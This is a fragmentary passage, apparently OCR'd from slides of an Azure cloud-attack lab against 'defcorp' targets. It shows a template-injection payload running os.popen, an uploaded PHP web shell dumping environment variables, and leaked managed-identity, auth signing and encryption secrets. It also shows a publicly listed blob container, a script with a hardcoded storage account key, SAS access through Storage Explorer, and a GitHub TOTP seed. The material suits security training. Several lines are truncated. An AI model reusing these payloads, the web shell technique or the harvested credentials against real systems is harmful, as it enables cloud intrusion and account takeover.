

## RCE

×

```
u002B00:00&#34;,&#34;resource&#34;:&#34;https://management.azure.com/&#34;,&#34;token_type&#34;:&#34;Bearer&#34;,&#34;client_id&#34;:&#34;2e91a4fe  
a0f2-46ee-8214-fa2ff6aa9abc&#34;,&#34;scope&#34;:&#34;https://management.azure.com/&#34;,&#34;audience&#34;:&#34;https://management.azure.com/&#34;,&#34;nonce
```

```
{{config.__class__.__init__.__globals__['os'].popen('echo Y3VyYCAjEIER
```

Get Back to home page! [Go Back](#)

← → ↻ 🔒 defcorphqcareer.azurewebsites.net/uploads/student135shell.phtml?cmd=env

```
USE_DIAG_SERVER=true PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi FUNCTIONS_RUNT
REGION_NAME= PLATFORM_VERSION=98.0.7.575 HOSTNAME=d790b69aaac4 PHP_INI_DIR=/usr/local/et
WEBSITE_INSTANCE_ID=fbb3d40666b51d6bcc6b672f6e9ccc9bb5116dcaa2286b7104c9e799668fb61 APPSET
APACHE_DOCUMENT_ROOT=/home/site/wwwroot IDENTITY_HEADER=fbd3585-7959-42f9-b9cf-6eacd542
APACHE_PORT=8080 APACHE_SERVER_LIMIT=1000 PHP_EXTRA_BUILD_DEPS=apache2-dev OLDPWD=
ORYX_ENV_TYPE=AppService WEBSITE_HOME_STAMPNAME=waws-prod-fra-003 ScmType=None DOCK
REMOTEDEBUGGINGVERSION=16.0.30709.132 APACHE_RUN_DIR=/var/run/apache2 PHP_MD5= PHP_CF
D_FILE_OFFSET_BITS=64 PHP_VERSION=7.4 APACHE_PID_FILE=/var/run/apache2/apache2.pid WEBSITE_
WEBSITE_AUTH_LOGOUT_PATH=/.auth/logout NUM_CORES=2 WEBSITE_STACK=PHP ORYX_ENV_NA
5A52880781F755608BF815FC910DEB46F53EA312 WEBSITE_ROLE_INSTANCE_ID=0 APPSETTING_REMO
7.4.28.tar.xz.asc/from/this/mirror PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOU
WEBSITE_AUTH_ENCRYPTION_KEY=3F9D0D99EF12184DE977B3475DC198C82741A1036288DD5541494.
WEBSITE_ISOLATION=lxsc PHP_URL=https://www.php.net/get/php-7.4.28.tar.xz/from/this/mirror WEBSITE_SI
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/site/wwwroot WEBSITE_AUTH_AUTO_A/
APACHE_LOCK_DIR=/var/lock/apache2 LANG=C MSI_ENDPOINT=http://169.254.129.2:8081/msi/token WEB
MSI_SECRET=fbd3585-7959-42f9-b9cf-6eacd542f6a2 APPSETTING_WEBSITE_AUTH_ENABLED=False WI
GermanyWestCentralwebpace-Linux APACHE_RUN_GROUP=www-data APACHE_RUN_USER=e3811997175
WEBSITE_USE_DIAGNOSTIC_SERVER=False APACHE_MAX_REQ_WORKERS=256 PWD=/home/site/www
IDENTITY_ENDPOINT=http://169.254.129.2:8081/msi/token APPSVC_RUN_ZIP=FALSE PHP_SHA256=9cc3b
COMPUTERNAME=1w0mdlwk0000AK APACHE_ENVVARS=/etc/apache2/envvars SSH_PORT=2222 APPSET
WEBSITE_AUTH_SIGNING_KEY=3CA127E9BAF07ADD5170657DF27B3D8E68C89D5ABE542A3733974361
WEBSITE_SKU=Basic
```

Blob

Blob

Blob

Azure

Blob **<https://<storage-account>.blob.core.windows.net>**

Azure **<https://.file.core.windows.net>**

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://defcorpcommon.blob.core.windows.net/" ContainerName="backup">
  <Blobs>
    <Blob>
      <Name>blob_client.py</Name>
      <Properties>
        <Last-Modified>Thu, 30 Sep 2021 14:47:27 GMT</Last-Modified>
        <Etag>0x8D9842138E25ABF</Etag>
        <Content-Length>2045</Content-Length>
        <Content-Type>text/plain</Content-Type>
        <Content-Encoding/>
        <Content-Language/>
        <Content-MD5>Bzft2qSjKdzfnpbrAlQSiQ==</Content-MD5>
        <Cache-Control>max-age=0</Cache-Control>
        <Content-Disposition/>
        <BlobType>BlockBlob</BlobType>
        <LeaseStatus>unlocked</LeaseStatus>
        <LeaseState>available</LeaseState>
      </Properties>
    </Blob>
  </Blobs>
  <NextMarker/>
</EnumerationResults>
```

← → ↻ 🔒 defcorpcommon.blob.core.windows.net/backup/blob\_client.py

```
from datetime import datetime, timedelta
from azure.storage.blob import generate_container_sas, ContainerSasPermissions

account_name = "defcorpcommon"
account_key = "SoJShFmp0iWjkIa985+lejwcG05vYnIeEROpP7eC8T0="
container_name = "backup"

# using generate_container_sas
def get_img_url_with_container_sas_token(blob_name):
    container_sas_token = generate_container_sas(
        account_name=account_name,
        container_name=container_name,
        account_key=account_key,
        permission=ContainerSasPermissions(read=True),
        expiry=datetime.utcnow() + timedelta(hours=1)
    )
    # URL: https://defcorpcodebackup.blob.core.windows.net/client?sp=r&st=2021-09-30T14:43:49Z&se=2022-09-30T22:43:49Z&sv=2020-08-04&sr=
    blob_url_with_container_sas_token = f"https://{account_name}.blob.core.windows.net/{container_name}/{blob_name}?{container_sas_token}"
    return blob_url_with_container_sas_token

from azure.storage.blob import generate_blob_sas, BlobSasPermissions

# using generate_blob_sas
def get_img_url_with_blob_sas_token(blob_name):
    blob_sas_token = generate_blob_sas(
```

Microsoft Azure Storage Explorer

File Edit View Help

EXPLORER

Search for resources

Collapse All Refresh All

- Quick Access
- Local & Attached
  - Storage Accounts
    - (Attached Containers)
      - Blob Containers
        - client (SAS)
          - File Shares
          - Queues
          - Tables
          - (Emulator - Default Ports)
          - Cosmos DB Accounts (Deprecated)
          - Data Lake Storage Gen1 (Preview)

client

Upload Download Open New Folder Select All Copy Paste Clone Delete Undo More

Active blobs (default) client Show Filter Panel

Name	Access Tier	Access Tier Last Modified	Last Modified	Blob Type	Content
app.zip	Hot (inferred)		7/2/2022, 5:21:28 AM	Block Blob	applic...
authenticator.txt	Hot (inferred)		7/2/2022, 5:21:56 AM	Block Blob	text/p...

Showing 1 to 2 of 2 cached items

Actions Properties Activities

URL https://defcorpcodeba

Custom Domain

Type Blob Container

HNS Enabled false

Shared Access Signature

Supports Tags Unknown

Clear completed Clear successful

Successfully added new connection.

Name	Date modified	Type	Size
app.zip	7/15/2022 10:43 AM	Compressed (zipp...	2 KB
authenticator.txt	7/15/2022 10:43 AM	Text Document	1 KB

authenticator.txt - Notepad

File Edit Format View Help

otpauth://totp/GitHub:laurenazad?secret=G7JBACLSJQQNTDZ6&issuer=GitHub

